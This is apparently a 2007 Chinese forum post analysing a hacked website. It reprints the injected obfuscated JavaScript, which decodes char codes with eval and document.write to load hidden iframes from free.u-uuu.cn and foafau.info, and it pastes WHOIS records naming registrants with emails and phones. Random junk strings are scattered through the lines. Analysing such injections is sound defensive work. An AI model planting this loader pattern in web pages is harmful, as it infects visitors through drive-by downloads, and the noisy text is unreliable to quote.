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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, uPtS.j=  
B>W!RyH8o  
http://www.areway.cn/?p=175 2s:$4]K D  
>0qe*4n|M  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: $N)b6(}F10  
          O* 7` Waag  
<script>t=’60,105,102,114,97,109,101, Vy[ m%sEP  
32,115,114,99,61,104,116,116,112,58,47,47, -|~tZuf  
102,114,101,101,46,117,45,117,117,117,46,99, ,BG L|5?3z  
110,47,101,114,114,111,114,46,104,116,109, 9N]V F'  
32,119,105,100,116,104,61,49,48,48,32,104, 2DTBL:?`  
101,105,103,104,116,61,48,62,60,47,105,102, :IlJQ{=W  
114,97,109,101,62′; ^J Y]w^u  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 73OYHp_j  
                                                                                                  42mZ.,<  
<script>t=’60,105,102,114,97,109,101,32,115, uKocEWB=/F  
114,99,61,104,116,116,112,58,47,47,102,114, H '(Ky  
101,101,46,117,45,117,117,117,46,99,110,47, Bys_8x}  
101,114,114,111,114,46,104,116,109,32,119, 1Qz1 Ehz>  
105,100,116,104,61,49,48,48,32,104,101,105, CERT`W%o  
103,104,116,61,48,62,60,47,105,102,114,97, s>^$: wzu  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); !q_fcd^c  
document.write(t);</script> 3A.T_mGCs  
                                                                                                  {y k0Zef_  
<html xmlns=” jh&WL  
http://www.w3.org/1999/xhtml L H`z '7&/  
“> KnuQ 5\y  
<head> Fz4g:8qdA  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> KcQe1mT!+  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> K-b'jP\  
<title>首页 - 爱生活家庭网 -<tfbaA  
                                                                                                                                                    'u{DFMB-A  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ,HLgb}~  
转换字符串后的大概内容是(谁点击后果自付): _Y gvLz %  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Fb{kql=  
                                                                                                                                  E|fQbkfw  
查询玉米u-uuu.cn的详细信息: m@){@i2.  
Domain Name: u-uuu.cn <ny)yK  
ROID: 20070901s10001s64972306-cn !3'&_vmG$  
Domain Status: ok @(m XiK  
Registrant Organization: 王雷 `<:D.9vO "  
Registrant Name: 王雷 ZeyA bo  
Administrative Email: czlovexs@126.com %VD>S  
Sponsoring Registrar: 北京万网志成科技有限公司 ^|1)6P}6  
Name Server:ns.yovole.com 0'9z XJ"  
Name Server:ns1.yovole.com 5E!G  
Registration Date: 2007-09-01 17:54 oj1,DU  
Expiration Date: 2008-09-01 17:54 H(TY.  
最后PING了一下地址 都没有什么…. ]TmxCTVL  
                                                                                                !:^lTvYWZH  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. z3:tSjF  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>  e ):rr*  
<script language=”javascript” src=” B:Xmc,|,  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script CgO&z<A!&  
> M'4$z^@Z  
这个玉米应该有可能是木马作者的: qJZ5w }  
foafau.info的详细信息: 7pY7iR_  
Access to INFO WHOIS information is provided to assist persons in D8''q%  
determining the contents of a domain name registration record in the V 2WcPI^  
Afilias registry database. The data in this record is provided by *To 5\|  
Afilias Limited for informational purposes only, and Afilias does not (;@\gRL  
guarantee its accuracy.  This service is intended only for query-based E5J2=xVW#  
access. You agree that you will use this data only for lawful purposes 8XU m.nV  
and that, under no circumstances will you use this data to: (a) allow, V=v7<I=]  
enable, or otherwise support the transmission by e-mail, telephone, or 'sCj|=y2Qc  
facsimile of mass unsolicited, commercial advertising or solicitations c$>$2[*=  
to entities other than the data recipient’s own existing customers; or AGdFJ>/  
(b) enable high volume, automated, electronic processes that send ,y5 7tY  
queries or data to the systems of Registry Operator, a Registrar, or jw"]U jub  
Afilias except as reasonably necessary to register domain names or |4@su"OA  
modify existing registrations. All rights reserved. Afilias reserves c)tG1|Og]  
the right to modify these terms at any time. By submitting this query, # ,KjJ  
you agree to abide by this policy. 71# ipZ  
Domain ID:D22418703-LRMS Lh(` 9(tX  
Domain Name:FOAFAU.INFO cj!Ew}o40D  
Created On:20-Nov-2007 16:05:42 UTC XPt<k&o1,  
Last Updated On:20-Nov-2007 16:05:44 UTC Do&/+Ssnu  
Expiration Date:20-Nov-2008 16:05:42 UTC PnKgUJoa0  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) &~xzp^&  
Status:CLIENT DELETE PROHIBITED Tl9;KE|  
Status:CLIENT RENEW PROHIBITED D^5bzZk N  
Status:CLIENT TRANSFER PROHIBITED 6HW8mXQh<h  
Status:CLIENT UPDATE PROHIBITED 4/Yk;X[jk  
Status:TRANSFER PROHIBITED ]8qFxJ+2^  
Registrant ID:GODA-040110615 eBmBD"$  
Registrant Name:liu hong hZ obFf  
Registrant Organization: G-)Q*p{i|  
Registrant Street1:beijing C& QT-|  
Registrant Street2: [0(+E2/:2  
Registrant Street3: o=1M<dL  
Registrant City:beijing 6?3f+=e"~!  
Registrant State/Province: =V@5W[bV  
Registrant Postal Code:100000 `;9Z?]}`  
Registrant Country:CN 1%nE  
Registrant Phone:+86.860108888777 q)ns ui(  
Registrant Phone Ext.: jd]YKaI  
Registrant FAX: x]Nk T  
Registrant FAX Ext.: `bJ+r)+5  
Registrant Email:bbbshiji@163.com & bwhD.:=  
Admin ID:GODA-240110615 w)hH8jx{  
Admin Name:liu hong 8"zFTP*;u  
Admin Organization: H.HXwN/x  
Admin Street1:beijing >2[\WF*"X  
Admin Street2: &z@~n  
Admin Street3: =wEqI)Td  
Admin City:beijing V u/{Hr  
Admin State/Province: C#r1zr6  
Admin Postal Code:100000 Y|NANjEAfm  
Admin Country:CN J\BTrN7  
Admin Phone:+86.860108888777 ;e>pu"#  
Admin Phone Ext.: o-))R| ~z  
Admin FAX: e7(iMe  
Admin FAX Ext.: OUd&fUmH  
Admin Email:bbbshiji@163.com DO#!ce  
Billing ID:GODA-340110615 f+/AD  
Billing Name:liu hong |Mj2lZS  
Billing Organization: R3;,EL{H&  
Billing Street1:beijing FG^ Jh5  
Billing Street2: fR& ;E  
Billing Street3: 6,707h  
Billing City:beijing b6FC  
Billing State/Province: `n*e8T  
Billing Postal Code:100000 <Oi65O_X  
Billing Country:CN %q~YJ*\  
Billing Phone:+86.860108888777 e-Xr^@M*Q  
Billing Phone Ext.: =peodj^  
Billing FAX: fr\"MP  
Billing FAX Ext.: ^4WNP  
Billing Email:bbbshiji@163.com {!lC$SlJ  
Tech ID:GODA-140110615 w$X"E*~>8  
Tech Name:liu hong DcO$&)Eb  
Tech Organization: Y-Zw'  
Tech Street1:beijing L*Gk1'  
Tech Street2: <}@*i  
Tech Street3: XA&Vtgu  
Tech City:beijing oV)#s!  
Tech State/Province: Rd?8LLz  
Tech Postal Code:100000 , : I:F  
Tech Country:CN zPonG d1  
Tech Phone:+86.860108888777 LRJY63A  
Tech Phone Ext.: Md4hd#z  
Tech FAX: HinPO  
Tech FAX Ext.: o_.f7|U!  
Tech Email:bbbshiji@163.com Z#O )0ou  
Name Server:NS27.DOMAINCONTROL.COM ; S(KJV  
Name Server:NS28.DOMAINCONTROL.COM b"lzR[X,e  
Name Server: UP18?uM  
Name Server:  T\(w}  
Name Server: A)2eo<ij4  
Name Server: Ej\M e  
Name Server: _M;n.?H  
Name Server: ;.O#|Z[  
Name Server: CNo'qlvF5N  
Name Server: qT<OiIMj^  
Name Server: Q"6:W2#v  
Name Server: S2TyNZbQ  
Name Server: Yq6e=?-  
                                                                                                          <sALA~p|0  
接着下载每个文件里面的代码: 7Rba@ cs9  
一步一步看.. A#yZh\#  
|6cz r  
PQu_]cXI  
Ix-bJE6+I,  
> FVBn;1  
{Dc{e5K  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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